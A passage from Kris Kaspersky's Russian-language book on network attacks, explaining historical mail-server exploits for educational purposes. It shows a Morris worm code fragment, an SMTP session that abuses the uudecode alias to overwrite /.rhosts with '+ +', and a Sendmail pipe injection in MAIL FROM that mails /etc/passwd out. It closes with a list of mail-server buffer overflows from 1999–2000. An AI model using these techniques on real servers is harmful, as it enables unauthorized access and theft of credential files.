ТЕХНИКА СЕТЕВЫХ АТАК - Крис Касперский

·…

· send_text(s, MAIL_FROM);

· i = (random() amp; 0x00FFFFFF);

· sprintf(l548,MAIL_RCPT, i, i);

· send_text(s, l548);

Вскоре после атаки лаз был закрыт, но червь Морриса послужил наглядным доказательством принципиальной возможности атак и стал хорошим стимулом к поиску других, еще никем не обнаруженных ошибок. В том, что они существуют, - никто не сомневался. Так оно и получилось.

Некто (имени которого история не сохранила) обратил внимание, что у многих почтовых серверов в файле «/etc/aliases» содержится строка приблизительного следующего содержания: «decode: |/usr/bin/uudecode». Если послать на такой сервер письмо, адресованное получателю «decode», оно попадает в руки программы “uudecode”, предназначенной для распаковки UUE-сообщений.

Необходимость передавать двоичные файлы через почтовые системы, не допускающие использование символов с кодами менее 32 и более 127, привела к появлению UUE кодировки. Идея, лежащая в ее основе, заключается в следующем: три байта (24 бита) разбиваются на четыре шестибитовых «осколка», каждый из которых суммируется с кодом пробела (0х20), образуя транспортабельный текст.

Таким образом, закодированный текст состоит из следующих символов (и только из них): `!"#$% amp;'()*+,-./012356789:;«=»[email protected]…XYZ[]^_, каждый из которых может быть передан по любым телекоммуникационным каналам, в том числе и семибитовым.

Получатель проделывает на свой стороне обратный процесс, - из каждого символа вычитает код пробела, и из каждых четырех «осколков» закодированного текста собирает по три байта оригинального послания.

Типичное UUE-сообщение выглядит приблизительно так (все необязательные поля для упрощения понимания опущены):

· begin 644 filename· =D»JEJR"AKJ'@H"`M(. amp;[email protected]*[email protected]:*N(0T``0(`· `· end

Слово “filename”, стоящее в заголовке, обозначает ни что иное, как имя файла, в который отправитель предлагает записать раскодированный текст. Большинство расшифровщиков не проверяют наличие файла на существование и затирают его содержимое без запроса подтверждения пользователя.

Если демон SendMail обладает наивысшими привилегиями (а так чаще всего и бывает), программа uudecode наследует их при запуске. Следовательно, существует возможность перезаписать любой файл в системе.

Например, злоумышленник может внести в файл “.rhosts” строку вида «+ +». В файле “.rhosts” содержится перечень адресов доверительных узлов и имен пользователей, которым с этих самых узлов разрешен вход на сервер без предъявления пароля. А комбинация «+ +» открывает свободный доступ всем пользователям со всех узлов сети.

Атака может выглядеть приблизительно так (символ “;” обозначает строку комментариев):

·; Создание файла, содержащего строку “+ +”· cat» tmp· + +· ^C· ; uue-кодирование, с указанием раскодировать этот файл в /.rhosts· % uuencode tmp /.rhosts· begin 644 /.rhosts· $*R`K"@``· `· end· ; Соединение с сервером жертвы по 25 порту для передачи сообщения· telnet 127.0.0.1 25·; Соединение установлено сервер вернул приглашение· 220 kpnc.krintel.ru SimpleSMTP 1.0 Sun, 26 Mar 2000 16:42:49 +0400· ; Чествование сервера· helo kpnc· 250 kpnc.krintel.ru Hello kpnc.krintel.ru [195.161.41.239]· ; Указание адреса отправителя· mail from: [email protected]· 250 kpnc Sender ok·; Указание псевдонима ‘decode’ в качестве имени получателя· rcpt to: decode· 250 decode Recipient ok·; Ввод закодированного сообщения в теле письма· data· 354 Enter mail, end with "." on a line by itself· begin 644 /.rhosts· $*R`K"@``· `· end·.· 250 Ok·; Выход· quit· 221 kpnc.krintel.ru closing connection

Теперь злоумышленник (и не только он - любой пользователь с любого узла) сможет зайти на сервер и, в лучшем случае, оставить администратору свое graffiti (автограф, то есть) на видном месте. В худшем же…

Эта ошибка в тех или иных вариациях встречается и сегодня. Многие программы-декодеры (например, распаковщики) допускают указание абсолютных путей [227]. Защита файла от перезаписи (в тех случаях, когда она есть) не панацея - злоумышленник может создать новый файл, поместив его, например, в такую папку как «Автозагрузка». Рано или поздно система запустит его, и код злоумышленника получит управление.

Другая возможность выполнить код на удаленном сервере заключается в неявной поддержке конвейера в полях “MAIL FROM” и “RCPT TO”. Часто даже сами разработчики не подозревают о такой уязвимости, поскольку она не всегда очевидна. Например, команда “open” языка Perl может не только открывать файл, но и запускать его, если в имени присутствует символ “|”, обозначающий вызов конвейера.

Подобные попытки самостоятельной интерпретации передаваемых функции параметров встречаются достаточно часто. Особенно они характерны для UNIX-систем, где конвейер является одним из самых популярных средств межпроцессорного взаимодействия. Это действительно очень удобный прием, но далеко не всегда должным образом отмеченный в сопроводительной документации.

Разработчики, использующие в свой программе библиотеки сторонних поставщиков, не всегда проверяют, как поведет себя та или иная функция, обнаружив символ конвейера, особенно если об этом ничего не написано в документации. Похожая проблема возникает и при разработке совместных проектов: один разработчик не может знать всех тонкостей функционирования модулей другого разработчика, а в результате такой нестыковки полученная программа может неявным образом поддерживать конвейер.

Например, популярный почтовый демон SendMail вплоть до версии 5.5 [228] включительно содержал множество ошибок, одна из которых продемонстрирована ниже (знаком “;” обозначены комментарии):

· ; Соединение с сервером жертвы по 25 порту для передачи сообщения· telnet kpnc.krintel.ru 25· 220 target.com Sendmail 5.55 ready at Sun, 26 Mar 2000 16:51:12· ; Чествование сервера· helo kpnc· 250 kpnc.krintel.ru Hello kpnc.krintel.ru [195.161.41.239]·; Использование конвейера в поле MAIL FROM. Следующая команда пересылает содержимое файла паролей по· требуемому адресу· mail from: "|/bin/mail [email protected] «/etc/passwd"· 250 "|/bin/mail [email protected] «/etc/passwd"… Sender ok·; Задание заведомо неверного получателя· rcpt to: user12345· 550 user12345… User unknown· ; Игнорирование ответа сервера и попытка ввода тела сообщения· data· 354 Enter mail, end with "." on a line by itself· ; Содержание сообщения значения не имеет·.· 250 Mail accepted· ; Выход· quit

Ошибка проявлялась только в том случае, когда команда “DATA” использовалась после задания несуществующего получателя в поле “RCPT TO”. С точки зрения нормального человека такое сочетание не имеет никакого смысла, поэтому разработчикам и в голову не приходило протестировать его. Ошибки подобного типа очень сложно обнаружить как самим разработчикам, так и злоумышленникам. Но злоумышленники часто имеют неограниченное время для бесконечных экспериментов и самых причудливых манипуляций, которые рано или поздно приносят плоды.

Точно так, многие почтовые серверы оказываются уязвимы перед тривиальным срывом стека. Например, в феврале 2000 года, в SMTP сервере MMDF версии 2.44a-B4, работающего под управлением SCO-UNIX обнаружилась ошибка переполнением буфера в полях “MAIL FROM” и “RPPT TO”, позволяющая злоумышленнику выполнить любой код под привилегией root.

А несколькими месяцами ранее - в ноябре 1999 года, ошибка переполнения была обнаружена в POP3SMTP сервере ZetaMail версии 2.1. Пароль, передаваемый командой “PASS”, помещался в буфер фиксированного размера, и слишком длинная строка вылезала за его границы.

В том же ноябре 1999 появилось сообщение о наличие аналогичной уязвимости в версиях 3.2x SMTP-шлюза Interscan VirusWall, работающего под управлением Windows NT. На этот раз переполнение буфера происходило во время приветствия сервера командой “HELO” (если это приветствие оказывалось через чур многословным).

«От добра добра не ищут» говорит народная мудрость. Программное обеспечение, предназначенное для защиты от вирусов с оптимистичным названием «Вирусная преграда [229]», оказалось способным принести своим обладателям значительно больший ущерб, чем тот, что доставляет типичный вирус.

Бездумная установка средств защиты приводит не к усилению, а ослаблению безопасности компьютера. Чем больше программного обеспечения установлено на сервере, тем выше риск существования ошибок, способных позволить злоумышленнику проникнуть в систему.

Примерно в то же самое время обнаружилась уязвимость IMAIL POP3-сервера. Версии 5.07, 5.05 и 5.06 не контролировали длину имени пользователя, передаваемую командой “USER”. Такую же участь разделил Avirt Mail Server (версии 3.3a, 3.5). Сообщение о возможности переполнении буфера командой “PASS”, появилось в начале ноября все того же 1999 года.

Ошибки сыплются как из Рога Изобилия, регулярно обнаруживаясь, по крайней мере, по десятку штук в месяц. А сколько еще существует не выявленных ошибок вообще невозможно представить! Поэтому, любая уверенность администратора в защищенности его узла несколько наивна.